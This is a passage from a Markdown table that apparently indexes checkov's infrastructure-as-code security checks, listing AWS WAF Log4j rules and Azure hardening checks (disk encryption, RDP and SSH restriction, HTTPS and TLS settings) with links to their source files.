Ensure AWS API Gateway Rest API attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                     | Terraform               | [APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml)                       |\n| 5480 | CKV2_AWS_77              | resource                         | aws_wafv2_web_acl                                                                                | Ensure AWS API Gateway Rest API attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                     | Terraform               | [APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml)                       |\n| 5481 | CKV2_AWS_78              | resource                         | aws_appsync_graphql_api                                                                          | Ensure AWS AppSync attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                                  | Terraform               | [AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml)                             |\n| 5482 | CKV2_AWS_78              | resource                         | aws_wafv2_web_acl                                                                                | Ensure AWS AppSync attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                                  | Terraform               | [AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml)                             |\n| 5483 | CKV_AZURE_1              | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure Azure Instance does not use basic authentication(Use SSH Key Instead)                                                                                                                             | arm                     | [AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstancePassword.py)                                                                                               |\n| 5484 | CKV_AZURE_1              | resource                         | Microsoft.Compute/virtualMachines                                                                | Ensure Azure Instance does not use basic authentication(Use SSH Key Instead)                                                                                                                             | Bicep                   | [AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstancePassword.py)                                                                                               |\n| 5485 | CKV_AZURE_1              | resource                         | azurerm_linux_virtual_machine                                                                    | Ensure Azure Instance does not use basic authentication(Use SSH Key Instead)                                                                                                                             | Terraform               | [AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstancePassword.py)                                                                                   |\n| 5486 | CKV_AZURE_1              | resource                         | azurerm_virtual_machine                                                                          | Ensure Azure Instance does not use basic authentication(Use SSH Key Instead)                                                                                                                             | Terraform               | [AzureInstancePassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureInstancePassword.py)                                                                                   |\n| 5487 | CKV_AZURE_2              | resource                         | Microsoft.Compute/disks                                                                          | Ensure Azure managed disk have encryption enabled                                                                                                                                                        | arm                     | [AzureManagedDiscEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiscEncryption.py)                                                                                     |\n| 5488 | CKV_AZURE_2              | resource                         | Microsoft.Compute/disks                                                                          | Ensure Azure managed disk have encryption enabled                                                                                                                                                        | Bicep                   | [AzureManagedDiscEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiscEncryption.py)                                                                                     |\n| 5489 | CKV_AZURE_2              | resource                         | azurerm_managed_disk                                                                             | Ensure Azure managed disk has encryption enabled                                                                                                                                                         | Terraform               | [AzureManagedDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureManagedDiskEncryption.py)                                                                         |\n| 5490 | CKV_AZURE_3              | resource                         | Microsoft.Storage/storageAccounts                                                                | Ensure that 'supportsHttpsTrafficOnly' is set to 'true'                                                                                                                                                  | arm                     | [StorageAccountsTransportEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountsTransportEncryption.py)                                                                     |\n| 5491 | CKV_AZURE_3              | resource                         | Microsoft.Storage/storageAccounts                                                                | Ensure that 'supportsHttpsTrafficOnly' is set to 'true'                                                                                                                                                  | Bicep                   | [StorageAccountsTransportEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/resource/azure/StorageAccountsTransportEncryption.py)                                                             |\n| 5492 | CKV_AZURE_3              | resource                         | azurerm_storage_account                                                                          | Ensure that 'enable_https_traffic_only' is enabled                                                                                                                                                       | Terraform               | [StorageAccountsTransportEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountsTransportEncryption.py)                                                         |\n| 5493 | CKV_AZURE_4              | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure AKS logging to Azure Monitoring is Configured                                                                                                                                                     | arm                     | [AKSLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLoggingEnabled.py)                                                                                                       |\n| 5494 | CKV_AZURE_4              | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure AKS logging to Azure Monitoring is Configured                                                                                                                                                     | Bicep                   | [AKSLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLoggingEnabled.py)                                                                                                       |\n| 5495 | CKV_AZURE_4              | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure AKS logging to Azure Monitoring is Configured                                                                                                                                                     | Terraform               | [AKSLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSLoggingEnabled.py)                                                                                           |\n| 5496 | CKV_AZURE_5              | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure RBAC is enabled on AKS clusters                                                                                                                                                                   | arm                     | [AKSRbacEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSRbacEnabled.py)                                                                                                             |\n| 5497 | CKV_AZURE_5              | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure RBAC is enabled on AKS clusters                                                                                                                                                                   | Bicep                   | [AKSRbacEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSRbacEnabled.py)                                                                                                             |\n| 5498 | CKV_AZURE_5              | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure RBAC is enabled on AKS clusters                                                                                                                                                                   | Terraform               | [AKSRbacEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSRbacEnabled.py)                                                                                                 |\n| 5499 | CKV_AZURE_6              | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure AKS has an API Server Authorized IP Ranges enabled                                                                                                                                                | arm                     | [AKSApiServerAuthorizedIpRanges.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSApiServerAuthorizedIpRanges.py)                                                                             |\n| 5500 | CKV_AZURE_6              | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure AKS has an API Server Authorized IP Ranges enabled                                                                                                                                                | Bicep                   | [AKSApiServerAuthorizedIpRanges.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSApiServerAuthorizedIpRanges.py)                                                                             |\n| 5501 | CKV_AZURE_6              | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure AKS has an API Server Authorized IP Ranges enabled                                                                                                                                                | Terraform               | [AKSApiServerAuthorizedIpRanges.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSApiServerAuthorizedIpRanges.py)                                                                 |\n| 5502 | CKV_AZURE_7              | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure AKS cluster has Network Policy configured                                                                                                                                                         | arm                     | [AKSNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSNetworkPolicy.py)                                                                                                         |\n| 5503 | CKV_AZURE_7              | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure AKS cluster has Network Policy configured                                                                                                                                                         | Bicep                   | [AKSNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSNetworkPolicy.py)                                                                                                         |\n| 5504 | CKV_AZURE_7              | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure AKS cluster has Network Policy configured                                                                                                                                                         | Terraform               | [AKSNetworkPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSNetworkPolicy.py)                                                                                             |\n| 5505 | CKV_AZURE_8              | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure Kubernetes Dashboard is disabled                                                                                                                                                                  | arm                     | [AKSDashboardDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSDashboardDisabled.py)                                                                                                 |\n| 5506 | CKV_AZURE_8              | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure Kubernetes Dashboard is disabled                                                                                                                                                                  | Bicep                   | [AKSDashboardDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSDashboardDisabled.py)                                                                                                 |\n| 5507 | CKV_AZURE_8              | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure Kubernetes Dashboard is disabled                                                                                                                                                                  | Terraform               | [AKSDashboardDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSDashboardDisabled.py)                                                                                     |\n| 5508 | CKV_AZURE_9              | resource                         | Microsoft.Network/networkSecurityGroups                                                          | Ensure that RDP access is restricted from the internet                                                                                                                                                   | arm                     | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py)                                                                                     |\n| 5509 | CKV_AZURE_9              | resource                         | Microsoft.Network/networkSecurityGroups                                                          | Ensure that RDP access is restricted from the internet                                                                                                                                                   | Bicep                   | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py)                                                                                     |\n| 5510 | CKV_AZURE_9              | resource                         | Microsoft.Network/networkSecurityGroups/securityRules                                            | Ensure that RDP access is restricted from the internet                                                                                                                                                   | arm                     | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py)                                                                                     |\n| 5511 | CKV_AZURE_9              | resource                         | Microsoft.Network/networkSecurityGroups/securityRules                                            | Ensure that RDP access is restricted from the internet                                                                                                                                                   | Bicep                   | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py)                                                                                     |\n| 5512 | CKV_AZURE_9              | resource                         | azurerm_network_security_group                                                                   | Ensure that RDP access is restricted from the internet                                                                                                                                                   | Terraform               | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleRDPAccessRestricted.py)                                                                         |\n| 5513 | CKV_AZURE_9              | resource                         | azurerm_network_security_rule                                                                    | Ensure that RDP access is restricted from the internet                                                                                                                                                   | Terraform               | [NSGRuleRDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleRDPAccessRestricted.py)                                                                         |\n| 5514 | CKV_AZURE_10             | resource                         | Microsoft.Network/networkSecurityGroups                                                          | Ensure that SSH access is restricted from the internet                                                                                                                                                   | arm                     | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py)                                                                                     |\n| 5515 | CKV_AZURE_10             | resource                         | Microsoft.Network/networkSecurityGroups                                                          | Ensure that SSH access is restricted from the internet                                                                                                                                                   | Bicep                   | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py)                                                                                     |\n| 5516 | CKV_AZURE_10             | resource                         | Microsoft.Network/networkSecurityGroups/securityRules                                            | Ensure that SSH access is restricted from the internet                                                                                                                                                   | arm                     | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py)                                                                                     |\n| 5517 | CKV_AZURE_10             | resource                         | Microsoft.Network/networkSecurityGroups/securityRules                                            | Ensure that SSH access is restricted from the internet                                                                                                                                                   | Bicep                   | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py)                                                                                     |\n| 5518 | CKV_AZURE_10             | resource                         | azurerm_network_security_group                                                                   | Ensure that SSH access is restricted from the internet                                                                                                                                                   | Terraform               | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleSSHAccessRestricted.py)                                                                         |\n| 5519 | CKV_AZURE_10             | resource                         | azurerm_network_security_rule                                                                    | Ensure that SSH access is restricted from the internet                                                                                                                                                   | Terraform               | [NSGRuleSSHAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleSSHAccessRestricted.py)                                                                         |\n| 5520 | CKV_AZURE_11             | resource                         | Microsoft.Sql/servers                                                                            | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                                                                                                            | arm                     | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerNoPublicAccess.py)                                                                                           |\n| 5521 | CKV_AZURE_11             | resource                         | Microsoft.Sql/servers                                                                            | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                                                                                                            | Bicep                   | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerNoPublicAccess.py)                                                                                           |\n| 5522 | CKV_AZURE_11             | resource                         | azurerm_mariadb_firewall_rule                                                                    | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                                                                                                            | Terraform               | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py)                                                                               |\n| 5523 | CKV_AZURE_11             | resource                         | azurerm_mssql_firewall_rule                                                                      | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                                                                                                            | Terraform               | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py)                                                                               |\n| 5524 | CKV_AZURE_11             | resource                         | azurerm_mysql_firewall_rule                                                                      | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                                                                                                            | Terraform               | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py)                                                                               |\n| 5525 | CKV_AZURE_11             | resource                         | azurerm_mysql_flexible_server_firewall_rule                                                      | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                                                                                                            | Terraform               | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py)                                                                               |\n| 5526 | CKV_AZURE_11             | resource                         | azurerm_postgresql_firewall_rule                                                                 | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                                                                                                            | Terraform               | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py)                                                                               |\n| 5527 | CKV_AZURE_11             | resource                         | azurerm_sql_firewall_rule                                                                        | Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)                                                                                                                                            | Terraform               | [SQLServerNoPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py)                                                                               |\n| 5528 | CKV_AZURE_12             | resource                         | Microsoft.Network/networkWatchers/FlowLogs                                                       | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                                                                                                                   | arm                     | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                                                   |\n| 5529 | CKV_AZURE_12             | resource                         | Microsoft.Network/networkWatchers/FlowLogs                                                       | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                                                                                                                   | Bicep                   | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                                                   |\n| 5530 | CKV_AZURE_12             | resource                         | Microsoft.Network/networkWatchers/FlowLogs/                                                      | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                                                                                                                   | arm                     | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                                                   |\n| 5531 | CKV_AZURE_12             | resource                         | Microsoft.Network/networkWatchers/FlowLogs/                                                      | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                                                                                                                   | Bicep                   | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                                                   |\n| 5532 | CKV_AZURE_12             | resource                         | Microsoft.Network/networkWatchers/flowLogs                                                       | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                                                                                                                   | arm                     | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                                                   |\n| 5533 | CKV_AZURE_12             | resource                         | Microsoft.Network/networkWatchers/flowLogs                                                       | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                                                                                                                   | Bicep                   | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                                                   |\n| 5534 | CKV_AZURE_12             | resource                         | Microsoft.Network/networkWatchers/flowLogs/                                                      | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                                                                                                                   | arm                     | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                                                   |\n| 5535 | CKV_AZURE_12             | resource                         | Microsoft.Network/networkWatchers/flowLogs/                                                      | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                                                                                                                   | Bicep                   | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py)                                                                                   |\n| 5536 | CKV_AZURE_12             | resource                         | azurerm_network_watcher_flow_log                                                                 | Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'                                                                                                                   | Terraform               | [NetworkWatcherFlowLogPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NetworkWatcherFlowLogPeriod.py)                                                                       |\n| 5537 | CKV_AZURE_13             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure App Service Authentication is set on Azure App Service                                                                                                                                            | arm                     | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py)                                                                                         |\n| 5538 | CKV_AZURE_13             | resource                         | Microsoft.Web/sites/config                                                                       | Ensure App Service Authentication is set on Azure App Service                                                                                                                                            | Bicep                   | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py)                                                                                         |\n| 5539 | CKV_AZURE_13             | resource                         | azurerm_app_service                                                                              | Ensure App Service Authentication is set on Azure App Service                                                                                                                                            | Terraform               | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAuthentication.py)                                                                             |\n| 5540 | CKV_AZURE_13             | resource                         | azurerm_linux_web_app                                                                            | Ensure App Service Authentication is set on Azure App Service                                                                                                                                            | Terraform               | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAuthentication.py)                                                                             |\n| 5541 | CKV_AZURE_13             | resource                         | azurerm_windows_web_app                                                                          | Ensure App Service Authentication is set on Azure App Service                                                                                                                                            | Terraform               | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAuthentication.py)                                                                             |\n| 5542 | CKV_AZURE_13             | resource                         | config                                                                                           | Ensure App Service Authentication is set on Azure App Service                                                                                                                                            | arm                     | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py)                                                                                         |\n| 5543 | CKV_AZURE_13             | resource                         | config                                                                                           | Ensure App Service Authentication is set on Azure App Service                                                                                                                                            | Bicep                   | [AppServiceAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceAuthentication.py)                                                                                         |\n| 5544 | CKV_AZURE_14             | resource                         | Microsoft.Web/sites                                                                              | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service                                                                                                                                  | arm                     | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHTTPSOnly.py)                                                                                                   |\n| 5545 | CKV_AZURE_14             | resource                         | Microsoft.Web/sites                                                                              | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service                                                                                                                                  | Bicep                   | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHTTPSOnly.py)                                                                                                   |\n| 5546 | CKV_AZURE_14             | resource                         | azurerm_app_service                                                                              | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service                                                                                                                                  | Terraform               | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHTTPSOnly.py)                                                                                       |\n| 5547 | CKV_AZURE_14             | resource                         | azurerm_linux_web_app                                                                            | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service                                                                                                                                  | Terraform               | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHTTPSOnly.py)                                                                                       |\n| 5548 | CKV_AZURE_14             | resource                         | azurerm_windows_web_app                                                                          | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service                                                                                                                                  | Terraform               | [AppServiceHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHTTPSOnly.py)                                                                                       |\n| 5549 | CKV_AZURE_15             | resource                         | Microsoft.Web/sites                                                                              | Ensure web app is using the latest version of TLS encryption                                                                                                                                             | arm                     | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceMinTLSVersion.py)                                                                                           |\n| 5550 | CKV_AZURE_15             | resource                         | Microsoft.Web/sites                                                                              | Ensure web app is using the latest version of TLS encryption                                                                                                                                             | Bicep                   | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceMinTLSVersion.py)                                                                                           |\n| 5551 | CKV_AZURE_15             | resource                         | azurerm_app_service                                                                              | Ensure web app is using the latest version of TLS encryption                                                                                                                                             | Terraform               | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceMinTLSVersion.py)                                                                               |\n| 5552 | CKV_AZURE_15             | resource                         | azurerm_linux_web_app                                                                            | Ensure web app is using the latest version of TLS encryption                                                                                                                                             | Terraform               | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceMinTLSVersion.py)                                                                               |\n| 5553 | CKV_AZURE_15             | resource                         | azurerm_windows_web_app                                                                          | Ensure web app is using the latest version of TLS encryption                                                                                                                                             | Terraform               | [AppServiceMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceMinTLSVersion.py)                                                                               |\n| 5554 | CKV_AZURE_16             | resource                         | Microsoft.Web/sites                                                                              | Ensure that Register with Azure Active Directory is enabled on App Service                                                                                                                               | arm                     | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentity.py)                                                                                                     |\n| 5555 | CKV_AZURE_16             | resource                         | Microsoft.Web/sites                                                                              | Ensure that Register with Azure Active Directory is enabled on App Service                                                                                                                               | Bicep                   | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentity.py)                                                                                                     |\n| 5556 | CKV_AZURE_16             | resource                         | azurerm_app_service                                                                              | Ensure that Register with Azure Active Directory is enabled on App Service                                                                                                                               | Terraform               | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentity.py)                                                                                         |\n| 5557 | CKV_AZURE_16             | resource                         | azurerm_linux_web_app                                                                            | Ensure that Register with Azure Active Directory is enabled on App Service                                                                                                                               | Terraform               | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentity.py)                                                                                         |\n| 5558 | CKV_AZURE_16             | resource                         | azurerm_windows_web_app                                                                          | Ensure that Register with Azure Active Directory is enabled on App Service                                                                                                                               | Terraform               | [AppServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentity.py)                                                                                         |\n| 5559 | CKV_AZURE_17             | resource                         | Microsoft.Web/sites                                                                              | Ensure the web app has 'Client Certificates (Incoming client certificates)' set                                                                                                                          | arm                     | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceClientCertificate.py)                                                                                   |\n| 5560 | CKV_AZURE_17             | resource                         | Microsoft.Web/sites                                                                              | Ensure the web app has 'Client Certificates (Incoming client certificates)' set                                                                                                                          | Bicep                   | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceClientCertificate.py)                                                                                   |\n| 5561 | CKV_AZURE_17             | resource                         | azurerm_app_service                                                                              | Ensure the web app has 'Client Certificates (Incoming client certificates)' set                                                                                                                          | Terraform               | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceClientCertificate.py)                                                                       |\n| 5562 | CKV_AZURE_17             | resource                         | azurerm_linux_web_app                                                                            | Ensure the web app has 'Client Certificates (Incoming client certificates)' set                                                                                                                          | Terraform               | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceClientCertificate.py)                                                                       |\n| 5563 | CKV_AZURE_17             | resource                         | azurerm_windows_web_app                                                                          | Ensure the web app has 'Client Certificates (Incoming client certificates)' set                                                                                                                          | Terraform               | [AppServiceClientCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceClientCertificate.py)                                                                       |\n| 5564 | CKV_AZURE_18             | resource                         | Microsoft.Web/sites                                                                              | Ensure that 'HTTP Version' is the latest if used to run the web app                                                                                                                                      | arm                     | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttps20Enabled.py)                                                                                         |\n| 5565 | CKV_AZURE_18             | resource                         | Microsoft.Web/sites                                                                              | Ensure that 'HTTP Version' is the latest if used to run the web app                                                                                                                                      | Bicep                   | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttps20Enabled.py)                                                                                         |\n| 5566 | CKV_AZURE_18             | resource                         | azurerm_app_service                                                                              | Ensure that 'HTTP Version' is the latest if used to run the web app                                                                                                                                      | Terraform               | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttps20Enabled.py)                                                                             |\n| 5567 | CKV_AZURE_18             | resource                         | azurerm_linux_web_app                                                                            | Ensure that 'HTTP Version' is the latest if used to run the web app                                                                                                                                      | Terraform               | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttps20Enabled.py)                                                                             |\n| 5568 | CKV_AZURE_18             | resource                         | azurerm_windows_web_app                                                                          | Ensure that 'HTTP Version' is the latest if used to run the web app                                                                                                                                      | Terraform               | [AppServiceHttps20Enabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceHttps20Enabled.py)                                                                             |\n| 5569 | CKV_AZURE_19             | resource                         | Microsoft.Security/pricings                                                                      | Ensure that standard pricing tier is selected                                                                                                                                                            | arm                     | [SecurityCenterStandardPricing.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterStandardPricing.py)                                                                               |\n| 5570 | CKV_AZURE_19             | resource                         | Microsoft.Security/pricings                                                                      | Ensure that standard pricing tier is selected                                                                                                                                                   